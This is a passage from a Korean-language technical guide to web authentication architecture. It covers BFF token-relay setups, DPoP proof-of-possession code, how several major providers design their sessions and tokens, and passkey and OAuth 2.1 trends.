return NextResponse.json(await apiResponse.json());
}
7.4 구현 예시: Spring Cloud Gateway
# application.yml (Spring Cloud Gateway + TokenRelay)
spring:
cloud:
gateway:
routes:
- id: api-service
uri: http://api-server:8080
predicates:
- Path=/api/**
filters:
- TokenRelay # 자동으로 세션의 AT를 Bearer 헤더로 변환
- RemoveRequestHeader=Cookie # 쿠키가 API 서버에 전달되지 않도록
security:
oauth2:
client:
registration:
keycloak:
client-id: bff-client
client-secret: ${CLIENT_SECRET} # Confidential Client
authorization-grant-type: authorization_code
scope: openid, profile
redirect-uri: "{baseUrl}/login/oauth2/code/{registrationId}"
provider:
keycloak:
issuer-uri: https://auth.example.com/realms/main
session:
store-type: redis # 세션을 Redis에 저장
timeout: 30m
┌─────────────────────────────────────────────────────────────────────────────┐
│ Spring Cloud Gateway TokenRelay 흐름 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 브라우저 → Gateway: GET /api/users (JSESSIONID 쿠키 포함) │
│ 2. Gateway: JSESSIONID로 Spring Session 조회 (Redis) │
│ 3. Gateway: 세션에서 OAuth2AuthorizedClient 추출 │
│ 4. TokenRelay 필터: AT를 Authorization: Bearer {AT}로 변환 │
│ 5. RemoveRequestHeader: Cookie 헤더 제거 (API 서버에 전달 방지) │
│ 6. Gateway → API Server: Bearer 토큰만 포함된 요청 전달 │
│ 7. AT 만료 시: Gateway가 RT로 자동 갱신 (ReactiveOAuth2AuthorizedClient) │
│ │
│ 장점: │
│ - 코드 한 줄 없이 YAML 설정만으로 BFF 구현 │
│ - 토큰 갱신 자동 처리 │
│ - 기존 Spring Security 생태계 활용 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7.5 구현 예시: Express.js
// express-bff.js
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const passport = require('passport');
const OAuth2Strategy = require('passport-oauth2');
const app = express();
// 세션 설정
app.use(session({
store: new RedisStore({ client: redisClient }),
name: '__Host-Http-SID',
secret: process.env.SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
httpOnly: true,
secure: true,
sameSite: 'strict',
path: '/',
maxAge: 24 * 60 * 60 * 1000, // 24시간
},
}));
// OAuth2 전략 설정 (Confidential Client)
passport.use(new OAuth2Strategy({
authorizationURL: 'https://auth.example.com/authorize',
tokenURL: 'https://auth.example.com/token',
clientID: process.env.CLIENT_ID,
clientSecret: process.env.CLIENT_SECRET, // BFF만 가능!
callbackURL: '/auth/callback',
},
(accessToken, refreshToken, profile, done) => {
// 토큰을 세션에 저장 (브라우저에 노출하지 않음)
done(null, { accessToken, refreshToken, profile });
}
));
// API 프록시 미들웨어
app.use('/api', async (req, res) => {
if (!req.user) return res.status(401).json({ error: 'Unauthorized' });
let { accessToken, refreshToken } = req.user;
// AT 만료 시 갱신
if (isExpired(accessToken)) {
const newTokens = await refreshTokens(refreshToken);
accessToken = newTokens.access_token;
req.user.accessToken = accessToken;
req.user.refreshToken = newTokens.refresh_token || refreshToken;
}
// API 서버로 프록시
const apiResponse = await fetch(`${API_SERVER}${req.path}`, {
method: req.method,
headers: {
Authorization: `Bearer ${accessToken}`,
'Content-Type': 'application/json',
},
body: ['POST', 'PUT', 'PATCH'].includes(req.method) ? JSON.stringify(req.body) : undefined,
});
res.status(apiResponse.status).json(await apiResponse.json());
});
7.6 Curity Token Handler 패턴
┌─────────────────────────────────────────────────────────────────────────────┐
│ Curity Token Handler 패턴 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Curity의 접근법: BFF를 두 개의 독립 컴포넌트로 분리 │
│ │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ │ │ OAuth Agent │ │ OAuth Proxy │ │
│ │ SPA │───→│ (쿠키 발급) │ │ (토큰 교환) │───→ API │
│ │ (React) │←───│ │ │ │←─── Server │
│ │ │ └──────────────┘ └──────────────┘ │
│ └─────────────┘ │
│ │
│ OAuth Agent: │
│ ├── OAuth 흐름 처리 (로그인, 콜백, 토큰 수신) │
│ ├── 토큰을 암호화하여 HttpOnly 쿠키로 분할 저장 │
│ │ (AT → at-cookie, RT → rt-cookie, ID → id-cookie) │
│ └── CSRF 토큰 관리 │
│ │
│ OAuth Proxy: │
│ ├── API 요청 시 쿠키에서 AT 복호화 │
│ ├── Authorization: Bearer 헤더로 변환 │
│ ├── 쿠키 제거 후 API 서버에 전달 │
│ └── Reverse Proxy (NGINX, Kong 등)에 플러그인으로 배포 가능 │
│ │
│ 장점: │
│ - SPA 코드 변경 최소화 (Agent는 API 엔드포인트, Proxy는 투명) │
│ - 상태 비저장 (Stateless): Redis 불필요, 쿠키 자체가 암호화된 토큰 저장 │
│ - 기존 API Gateway에 Proxy 플러그인만 추가하면 됨 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
7.7 Duende BFF (.NET)
┌─────────────────────────────────────────────────────────────────────────────┐
│ Duende BFF (.NET 엔터프라이즈) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ .NET 생태계의 BFF 구현체 (IdentityServer의 후속) │
│ │
│ 특징: │
│ ├── ASP.NET Core 미들웨어로 제공 │
│ ├── YARP (Yet Another Reverse Proxy) 기반 API 프록시 │
│ ├── 반자동 CSRF 방어 (X-CSRF 헤더 자동 검증) │
│ ├── 세션 관리 + 토큰 갱신 자동 처리 │
│ └── 엔터프라이즈 라이센스 (IdentityServer 통합) │
│ │
│ C# 설정 예시: │
│ builder.Services.AddBff(); │
│ builder.Services.AddAuthentication(options => { │
│ options.DefaultScheme = "Cookies"; │
│ options.DefaultChallengeScheme = "oidc"; │
│ }) │
│ .AddCookie("Cookies", options => { │
│ options.Cookie.Name = "__Host-Http-bff"; │
│ options.Cookie.SameSite = SameSiteMode.Strict; │
│ }) │
│ .AddOpenIdConnect("oidc", options => { ... }); │
│ │
│ app.MapBffManagementEndpoints(); // /bff/login, /bff/logout 등 │
│ app.MapRemoteBffApiEndpoint("/api", "https://api.example.com") │
│ .RequireAccessToken(); │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
8. OAuth 2.0 DPoP (Proof-of-Possession)
8.1 DPoP란?
┌─────────────────────────────────────────────────────────────────────────────┐
│ DPoP: Demonstration of Proof-of-Possession │
│ RFC 9449 (2023년 9월) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 문제: Bearer Token은 "소지한 자가 곧 소유자" │
│ → 토큰이 탈취되면 누구든 사용 가능 │
│ │
│ 해결: DPoP는 토큰을 클라이언트의 암호화 키 쌍에 바인딩 │
│ → 토큰이 탈취되어도 개인키 없이는 사용 불가 │
│ │
│ 일반 Bearer Token: │
│ ┌──────────────────────────────────────────────┐ │
│ │ 토큰 탈취 → 즉시 사용 가능 (키 불필요) │ │
│ └──────────────────────────────────────────────┘ │
│ │
│ DPoP-bound Token: │
│ ┌──────────────────────────────────────────────┐ │
│ │ 토큰 탈취 → 개인키 없으면 사용 불가 │ │
│ │ (매 요청마다 개인키로 DPoP proof 서명 필요) │ │
│ └──────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
8.2 DPoP 4단계 흐름
┌─────────────────────────────────────────────────────────────────────────────┐
│ DPoP 전체 흐름 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Step 1: 클라이언트가 키 쌍 생성 │
│ Step 2: DPoP Proof JWT 생성 (개인키로 서명) │
│ Step 3: 토큰 요청 시 DPoP 헤더에 proof 포함 │
│ Step 4: API 요청 시 매번 새 proof 생성 (ath 포함) │
│ │
│ 클라이언트 인가 서버 리소스 서버 │
│ │ │ │ │
│ │ 1. 키 쌍 생성 │ │ │
│ │ (pub + priv) │ │ │
│ │ │ │ │
│ │ 2. DPoP proof 생성 │ │ │
│ │ + 토큰 요청 │ │ │
│ │ ────────────────────→ │ │ │
│ │ POST /token │ │ │
│ │ DPoP: {proof JWT} │ │ │
│ │ │ 3. proof 검증 │ │
│ │ │ 공개키를 AT에 바인딩│ │
│ │ ←──────────────────── │ │ │
│ │ token_type: "DPoP" │ │ │
│ │ access_token: {AT} │ │ │
│ │ │ │ │
│ │ 4. API 요청 (매번 새 proof) │ │
│ │ ──────────────────────────────────────────────→│ │
│ │ Authorization: DPoP {AT} │ │
│ │ DPoP: {새 proof JWT, ath=hash(AT)} │ │
│ │ │ │ 5. proof + AT 검증 │
│ │ ←─────────────────────────────────────────────│ │
│ │ 200 OK │ │ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Step 1: 키 쌍 생성 (WebCrypto API)
// 브라우저에서 키 쌍 생성
const keyPair = await crypto.subtle.generateKey(
{
name: 'ECDSA',
namedCurve: 'P-256',
},
false, // extractable: false → 개인키를 내보낼 수 없음!
['sign', 'verify']
);
// 공개키를 JWK 형식으로 추출 (DPoP proof 헤더에 포함)
const publicJwk = await crypto.subtle.exportKey('jwk', keyPair.publicKey);
// { "kty": "EC", "crv": "P-256", "x": "...", "y": "..." }
// 개인키는 IndexedDB에 저장 (extractable: false이므로 내보내기 불가)
const db = await openDB('dpop-keys', 1);
await db.put('keys', keyPair.privateKey, 'dpop-private-key');
Step 2-3: DPoP Proof 생성 및 토큰 요청
// DPoP Proof JWT 구조
const dpopProofHeader = {
typ: 'dpop+jwt', // 타입: DPoP proof
alg: 'ES256', // 서명 알고리즘
jwk: publicJwk, // 공개키 포함 (서버가 검증용으로 사용)
};
const dpopProofPayload = {
jti: crypto.randomUUID(), // 고유 ID (재사용 방지)
htm: 'POST', // HTTP 메서드
htu: 'https://auth.example.com/oauth/token', // 요청 URL
iat: Math.floor(Date.now() / 1000), // 발급 시간
nonce: serverProvidedNonce, // 서버 제공 nonce (선택)
};
// 개인키로 서명하여 DPoP proof JWT 생성
const dpopProof = await signJwt(dpopProofHeader, dpopProofPayload, keyPair.privateKey);
// 토큰 요청
const tokenResponse = await fetch('https://auth.example.com/oauth/token', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
'DPoP': dpopProof, // DPoP proof 헤더
},
body: new URLSearchParams({
grant_type: 'authorization_code',
code: authCode,
code_verifier: pkceVerifier,
client_id: 'spa-client',
}),
});
const { access_token, token_type } = await tokenResponse.json();
// token_type: "DPoP" (Bearer가 아님!)
Step 4: API 요청 시 DPoP proof 포함
// 매 API 요청마다 새 DPoP proof 생성
async function dpopApiCall(url, method = 'GET') {
// AT의 SHA-256 해시 (ath claim)
const atHash = await sha256(accessToken);
const proof = await createDpopProof({
htm: method,
htu: url,
ath: atHash, // Access Token Hash → AT와 proof를 바인딩
});
return fetch(url, {
method,
headers: {
Authorization: `DPoP ${accessToken}`, // Bearer 대신 DPoP
DPoP: proof,
},
});
}
8.3 DPoP vs mTLS 비교
┌──────────────────────────────────────────────────────────────────────────────────┐
│ DPoP vs mTLS 비교 │
├────────────────┬──────────────────────────────┬──────────────────────────────────┤
│ 항목 │ DPoP │ mTLS │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 표준 │ RFC 9449 (2023) │ RFC 8705 (2020) │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 바인딩 수준 │ Application Layer (HTTP) │ Transport Layer (TLS) │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 인증서 필요 │ ❌ 자체 생성 키 쌍 │ ✅ X.509 인증서 필요 │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 브라우저 지원 │ ✅ WebCrypto API로 구현 │ ❌ 브라우저 인증서 관리 어려움 │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 프록시 통과 │ ✅ HTTP 헤더이므로 통과 │ ⚠️ TLS 종료 시 바인딩 손실 │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 적합 환경 │ SPA, 모바일 앱 │ 서버 간 통신, 서비스 메시 │
├────────────────┼──────────────────────────────┼──────────────────────────────────┤
│ 구현 복잡도 │ 중간 (JWT 서명) │ 높음 (PKI 인프라 필요) │
└────────────────┴──────────────────────────────┴──────────────────────────────────┘
8.4 DPoP 채택 현황 (2025-2026)
┌─────────────────────────────────────────────────────────────────────────────┐
│ DPoP 벤더 지원 현황 │
├────────────────────┬──────────────────────┬────────────────────────────────┤
│ 제품/서비스 │ DPoP 지원 상태 │ 비고 │
├────────────────────┼──────────────────────┼────────────────────────────────┤
│ Keycloak │ ✅ 26.4+ (프로덕션) │ 기본 설정으로 활성화 가능 │
│ Okta │ ✅ 프로덕션 지원 │ 2024년부터 GA │
│ Auth0 │ ⚠️ Early Access │ 일부 플랜에서 사용 가능 │
│ Microsoft Entra ID │ ❌ 미지원 │ 로드맵에 포함되어 있으나 미정 │
│ Ping Identity │ ✅ 프로덕션 지원 │ PingFederate 12+ │
│ Curity │ ✅ 프로덕션 지원 │ Token Handler와 통합 │
│ Spring Auth Server │ ✅ 1.3+ (프로덕션) │ Spring Security 6.3+ │
└────────────────────┴──────────────────────┴────────────────────────────────┘
9. 대기업 인증 구현 사례
9.1 Google
┌─────────────────────────────────────────────────────────────────────────────┐
│ Google 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 멀티 쿠키 시스템 (accounts.google.com): │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ SID - 기본 세션 ID (HttpOnly, Secure) │ │
│ │ HSID - HTTP 전용 보안 세션 (HttpOnly) │ │
│ │ SSID - Secure 전용 세션 (Secure + HttpOnly) │ │
│ │ APISID - API 호출용 (Secure) │ │
│ │ SAPISID - Same-site API 인증용 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ SAPISIDHASH Origin 검증: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ Authorization: SAPISIDHASH {timestamp}_{hash} │ │
│ │ │ │
│ │ hash = SHA-1(timestamp + " " + SAPISID + " " + origin) │ │
│ │ │ │
│ │ - 타임스탬프: 요청 시점 (재사용 방지) │ │
│ │ - SAPISID: 쿠키 값 (사용자 인증) │ │
│ │ - Origin: 요청 출처 (도메인 바인딩) │ │
│ │ │ │
│ │ → Origin이 해시에 포함되어 있어 다른 도메인에서 재사용 불가 │ │
│ │ → DPoP 이전의 자체적 토큰 바인딩 메커니즘 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ OAuth 2.0 / OIDC: │
│ - RS256 서명 JWT ID Token │
│ - Access Token: 1시간 수명 │
│ - Refresh Token: 6개월 (비활성 시 자동 만료) │
│ - PKCE 지원, Implicit Grant 비권장 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.2 GitHub
┌─────────────────────────────────────────────────────────────────────────────┐
│ GitHub 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 세션 쿠키: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ __Host-user_session_same_site = {encrypted_session} │ │
│ │ HttpOnly; Secure; SameSite=Strict; Path=/ │ │
│ │ │ │
│ │ __Host- 접두사 사용 이유: │ │
│ │ → Cookie Tossing 방어 │ │
│ │ → 서브도메인(*.github.com)에서 세션 쿠키 덮어쓰기 방지 │ │
│ │ → GitHub Pages (*.github.io)에서의 쿠키 조작 차단 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Fine-Grained Personal Access Token (PAT): │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ - 50개 이상의 세분화된 권한 (repository, issues, PR, actions 등) │ │
│ │ - 필수 만료일 설정 (최대 1년, 무기한 불가) │ │
│ │ - Organization 승인 필요 (관리자가 허용해야 사용 가능) │ │
│ │ - IP 허용 목록 설정 가능 │ │
│ │ - Classic PAT 대비 최소 권한 원칙 적용 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ GitHub App Installation Token: │
│ - JWT로 앱 인증 → Installation Token 발급 (1시간 수명) │
│ - 설치된 저장소에만 접근 가능 (최소 권한) │
│ - 조직 수준 권한 관리 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.3 Netflix
┌─────────────────────────────────────────────────────────────────────────────┐
│ Netflix 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Edge Authentication Service (EAS) + Passport 패턴: │
│ │
│ 클라이언트 Zuul Gateway 내부 서비스들 │
│ ┌─────────┐ ┌──────────────┐ ┌──────────────┐ │
│ │ │ │ │ │ 사용자 서비스│ │
│ │ 브라우저│───→│ Zuul + EAS │─────→│ │ │
│ │ / 앱 │ │ │ ├──────────────┤ │
│ │ │←───│ 토큰 종료 │ │ 추천 서비스 │ │
│ │ │ │ Passport 발급│ │ │ │
│ └─────────┘ └──────┬───────┘ ├──────────────┤ │
│ │ │ 결제 서비스 │ │
│ │ └──────────────┘ │
│ │ │
│ ┌────────────▼────────────┐ │
│ │ Passport 구조 │ │
│ ├─────────────────────────┤ │
│ │ - Protobuf 직렬화 │ │
│ │ - HMAC 서명 (무결성) │ │
│ │ - 사용자 ID │ │
│ │ - 디바이스 정보 │ │
│ │ - 국가/리전 │ │
│ │ - 구독 정보 │ │
│ └─────────────────────────┘ │
│ │
│ 핵심 원칙: │
│ 1. 외부 토큰(쿠키/OAuth)은 Edge(Zuul)에서 종료 │
│ → 내부 서비스는 외부 토큰 형식을 모름 │
│ 2. Passport라는 내부 전용 인증 컨텍스트 전파 │
│ → Protobuf 기반, HMAC 서명으로 변조 방지 │
│ 3. 하위 서비스는 토큰 검증 불필요 (Token-Agnostic) │
│ → Passport만 파싱하면 사용자 정보 접근 가능 │
│ 4. 토큰 형식 변경 시 Gateway만 수정 (하위 서비스 무영향) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.4 Auth0
┌─────────────────────────────────────────────────────────────────────────────┐
│ Auth0 SPA SDK 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 2025 Auth0 SPA 권장 구조: │
│ │
│ Access Token → In-Memory (Web Worker 권장) │
│ Refresh Token → Rotation + HttpOnly 쿠키 (또는 In-Memory) │
│ OAuth Flow → Authorization Code + PKCE only │
│ │
│ 핵심 변화: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 과거 (2020 이전): │ │
│ │ - iframe 기반 Silent Authentication (prompt=none) │ │
│ │ - 서드파티 쿠키로 인가 서버 세션 확인 │ │
│ │ - 페이지 새로고침 시 iframe으로 새 AT 발급 │ │
│ │ │ │
│ │ 현재 (2025): │ │
│ │ - Silent Auth 공식 비권장 (서드파티 쿠키 차단) │ │
│ │ - Refresh Token Rotation 사용 │ │
│ │ - useRefreshTokens: true (SDK 기본 설정) │ │
│ │ - cacheLocation: 'memory' (기본, localStorage 비권장) │ │
│ │ - useRefreshTokensFallback: false (silent auth 폴백 비활성화) │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Reuse Detection 설정: │
│ Auth0 Dashboard > Settings > Rotation > Enable Reuse Detection │
│ → 재사용 감지 시 자동으로 Token Family 전체 무효화 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.5 Okta
┌─────────────────────────────────────────────────────────────────────────────┐
│ Okta 인증 아키텍처 변화 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 쿠키 마이그레이션: │
│ ├── 과거: sid 쿠키 (Okta 세션) │
│ └── 현재: idx 쿠키 (Identity Engine 기반) │
│ │
│ Silent Auth → Refresh Token 전환: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 과거: │ │
│ │ - iframe에서 /authorize?prompt=none으로 AT 갱신 │ │
│ │ - Okta sid 쿠키(서드파티)로 세션 확인 │ │
│ │ │ │
│ │ 현재: │ │
│ │ - offline_access 스코프로 RT 발급 │ │
│ │ - RT로 AT 갱신 (서드파티 쿠키 불필요) │ │
│ │ - Token Rotation 기본 활성화 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Okta SPA SDK 설정: │
│ const oktaAuth = new OktaAuth({ │
│ issuer: 'https://dev-xxx.okta.com/oauth2/default', │
│ clientId: 'spa-client-id', │
│ redirectUri: window.location.origin + '/callback', │
│ scopes: ['openid', 'profile', 'offline_access'], // RT 발급 │
│ tokenManager: { │
│ storage: 'memory', // 메모리 저장 권장 │
│ }, │
│ }); │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.6 Spotify
┌─────────────────────────────────────────────────────────────────────────────┐
│ Spotify 인증 변화 (2025) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 2025년 11월 주요 변경사항: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 1. Implicit Grant 완전 제거 │ │
│ │ → PKCE가 유일한 공개 클라이언트 흐름 │ │
│ │ │ │
│ │ 2. HTTP Redirect URI 제거 │ │
│ │ → HTTPS만 허용 (localhost 제외) │ │
│ │ │ │
│ │ 3. Access Token: Opaque 형식, 1시간 수명 │ │
│ │ → JWT가 아닌 Opaque Token 사용 (서버 측 검증) │ │
│ │ │ │
│ │ 4. PKCE 필수화 │ │
│ │ → code_verifier/code_challenge 없이는 토큰 발급 거부 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.7 AWS Cognito
┌─────────────────────────────────────────────────────────────────────────────┐
│ AWS Cognito 토큰 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Triple Token 구조: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ ID Token (JWT, RS256) │ │
│ │ ├── 사용자 프로필 정보 포함 (name, email, custom attributes) │ │
│ │ ├── 프론트엔드에서 사용자 정보 표시용 │ │
│ │ └── API 인증에 사용하면 안 됨! (OIDC 표준 위반) │ │
│ │ │ │
│ │ Access Token (JWT, RS256) │ │
│ │ ├── scope, groups, client_id 포함 │ │
│ │ ├── API Gateway / Resource Server 인증용 │ │
│ │ └── 기본 1시간 수명 (5분~24시간 설정 가능) │ │
│ │ │ │
│ │ Refresh Token (Opaque) │ │
│ │ ├── Cognito User Pool에서만 사용 가능 │ │
│ │ ├── 기본 30일 수명 (1시간~10년 설정 가능) │ │
│ │ └── 서버 사이드 저장, 즉시 폐기 가능 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ AWS Amplify v6 저장 전략: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ Amplify.configure({ │ │
│ │ Auth: { │ │
│ │ Cognito: { │ │
│ │ userPoolId: 'us-east-1_xxx', │ │
│ │ userPoolClientId: 'xxx', │ │
│ │ } │ │
│ │ } │ │
│ │ }, { │ │
│ │ // 플러그형 저장소 선택 │ │
│ │ storage: localStorage, // 기본값 (SPA) │ │
│ │ // storage: sessionStorage, // 탭별 격리 │ │
│ │ // storage: cookieStorage, // SSR용 (자동 선택) │ │
│ │ // storage: customStorage, // 커스텀 구현 │ │
│ │ }); │ │
│ │ │ │
│ │ SSR 모드 (Next.js): │ │
│ │ → Amplify가 자동으로 CookieStorage 선택 │ │
│ │ → 서버에서 쿠키로 토큰 접근 가능 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.8 Clerk
┌─────────────────────────────────────────────────────────────────────────────┐
│ Clerk 하이브리드 인증 아키텍처 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 핵심 아이디어: 60초 단기 JWT + 상태 기반 세션 │
│ │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ │ │
│ │ __client_uat 쿠키 (세션 활성 타임스탬프) │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 브라우저 → Clerk Frontend API: "세션 살아있나?" │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ 60초 단기 JWT 발급 (서명 검증만으로 인증) │ │
│ │ │ │ │
│ │ ├── 50초 시점: 백그라운드 폴러가 새 JWT 갱신 │ │
│ │ │ (사용자 무관여, Web Worker 또는 setInterval) │ │
│ │ │ │ │
│ │ └── JWT 포함 정보: │ │
│ │ - sub (사용자 ID) │ │
│ │ - org_id (조직) │ │
│ │ - permissions │ │
│ │ - exp (60초 후) │ │
│ │ │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 폐기(Revocation) 전파: │
│ - 관리자가 세션 폐기 → 최대 60초 내 모든 JWT 자연 만료 │
│ - 즉각적 차단 필요 시: 서버에서 세션 ID 블랙리스트 확인 │
│ - 트레이드오프: 60초 지연 허용 vs 매 요청 DB 조회 비용 │
│ │
│ 장점: │
│ - 대부분의 요청에서 DB 조회 불필요 (JWT 서명 검증만) │
│ - 폐기 지연이 60초로 매우 짧음 (일반 JWT의 5-15분 대비) │
│ - 백그라운드 폴링으로 사용자 경험 무중단 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
9.9 Supabase
┌─────────────────────────────────────────────────────────────────────────────┐
│ Supabase (GoTrue 기반) 인증 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ GoTrue: Netlify에서 시작된 오픈소스 인증 서버 (Go 언어) │
│ │
│ 토큰 구조: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ Access Token (JWT): │ │
│ │ { │ │
│ │ "sub": "user-uuid-xxx", │ │
│ │ "session_id": "sess-uuid-yyy", // ← 핵심: 세션 ID 포함 │ │
│ │ "role": "authenticated", │ │
│ │ "aal": "aal1", // Authentication Assurance Level │ │
│ │ "exp": 1741219200 │ │
│ │ } │ │
│ │ │ │
│ │ session_id가 JWT에 포함되어 있어서: │ │
│ │ → 서버에서 session_id로 세션 유효성 실시간 확인 가능 │ │
│ │ → JWT 자체 검증 + 세션 상태 확인 이중 검증 │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ Refresh Token: │
│ ├── 단일 사용 (Single-Use): 한 번 사용되면 즉시 무효화 │
│ ├── Token Family 추적: 같은 세션의 모든 RT 계보 관리 │
│ ├── 재사용 감지 시: 해당 Family 전체 무효화 + 강제 재로그인 │
│ └── 기본 수명: 무기한 (세션 활성 상태 기준) │
│ │
│ 저장 전략: │
│ ├── 브라우저: localStorage (기본) 또는 커스텀 스토리지 │
│ ├── SSR: cookieStorage (Next.js, SvelteKit 등) │
│ └── React Native: SecureStore │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10. 2025-2026 인증 트렌드
10.1 Passkeys / WebAuthn
┌─────────────────────────────────────────────────────────────────────────────┐
│ Passkey 채택 현황 (2025-2026) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ 대규모 채택: │
│ ├── Google: 8억 계정에서 Passkey 사용 가능 │
│ ├── Amazon: 1.75억 사용자가 Passkey 설정 │
│ ├── Microsoft: 기본 로그인 방식으로 Passkey 채택 │
│ ├── Apple: iCloud Keychain으로 Passkey 동기화 │
│ └── PayPal, eBay, Shopify, LinkedIn 등 확산 중 │
│ │
│ 기술 현황: │
│ ├── 성공률 98% (비밀번호 대비 현저히 높음) │
│ ├── WebAuthn Level 3 (2026년 1월 W3C 권고) │
│ │ └── 조건부 UI, 하이브리드 전송, attestation 개선 │
│ ├── NIST AAL2 인정 (다중 인증과 동등한 보안 수준) │
│ └── 피싱 저항: Origin 바인딩으로 피싱 사이트에서 사용 불가 │
│ │
│ Passkey 동작 원리: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ 등록: │ │
│ │ 1. 서버 → 챌린지 전송 │ │
│ │ 2. 인증기(Touch ID, Face ID, Windows Hello)가 키 쌍 생성 │ │
│ │ 3. 공개키를 서버에 등록, 개인키는 디바이스/클라우드에 저장 │ │
│ │ │ │
│ │ 인증: │ │
│ │ 1. 서버 → 챌린지 전송 │ │
│ │ 2. 인증기가 개인키로 챌린지 서명 (생체/PIN 인증 후) │ │
│ │ 3. 서버가 공개키로 서명 검증 │ │
│ │ │ │
│ │ 보안: │ │
│ │ - Origin 바인딩: 등록된 도메인에서만 사용 가능 │ │
│ │ - 피싱 불가: evil.com에서 example.com의 Passkey 사용 불가 │ │
│ │ - 서버에 비밀 없음: 공개키만 저장 (유출되어도 안전) │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10.2 서드파티 쿠키 정책 변화
┌─────────────────────────────────────────────────────────────────────────────┐
│ 서드파티 쿠키 정책 (2025) │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Google의 반전 (2025년 10월): │
│ ├── Privacy Sandbox 계획 철회 │
│ ├── 서드파티 쿠키를 완전히 차단하지 않기로 결정 │
│ └── 대신 사용자 선택(User Choice) 방식 채택 │
│ │
│ 생존한 Privacy API들: │
│ ┌────────────────────────────────────────────────────────────────────┐ │
│ │ CHIPS (Partitioned Cookies) │ │
│ │ → 서드파티 쿠키를 Top-Level Site별로 파티션 │ │
│ │ │ │
│ │ FedCM (Federated Credential Management) │ │
│ │ → 브라우저 네이티브 연합 로그인 UI │ │
│ │ │ │
│ │ Private State Tokens │ │
│ │ → 봇 탐지용 익명 증명 │ │
│ │ │ │
│ │ Storage Access API │ │
│ │ → 사용자 동의 기반 크로스사이트 저장소 접근 │ │
│ │ │ │
│ │ Related Website Sets │ │
│ │ → 관련 도메인 그룹의 쿠키 공유 (First-Party Sets 후속) │ │
│ └────────────────────────────────────────────────────────────────────┘ │
│ │
│ 인증에 미치는 영향: │
│ - iframe silent auth는 여전히 불안정 (브라우저마다 정책 다름) │
│ - RT 기반 갱신이 업계 표준으로 정착 │
│ - FedCM이 소셜 로그인의 새 표준으로 부상 │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
10.3 OAuth 2.1
┌─────────────────────────────────────────────────────────────────────────────┐
│ OAuth 2.1 주요 변경사항 │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ OAuth 2.0 (RFC 6749, 2012) → OAuth 2.1 (초안, 2025 최종화 예정) │
│ │
│ ┌──────────────────────────────┬────────────────────────────────────┐ │
│ │ 변경 사항 │ 영향 │ │
│ ├──────────────────────────────┼────────────────────────────────────┤ │
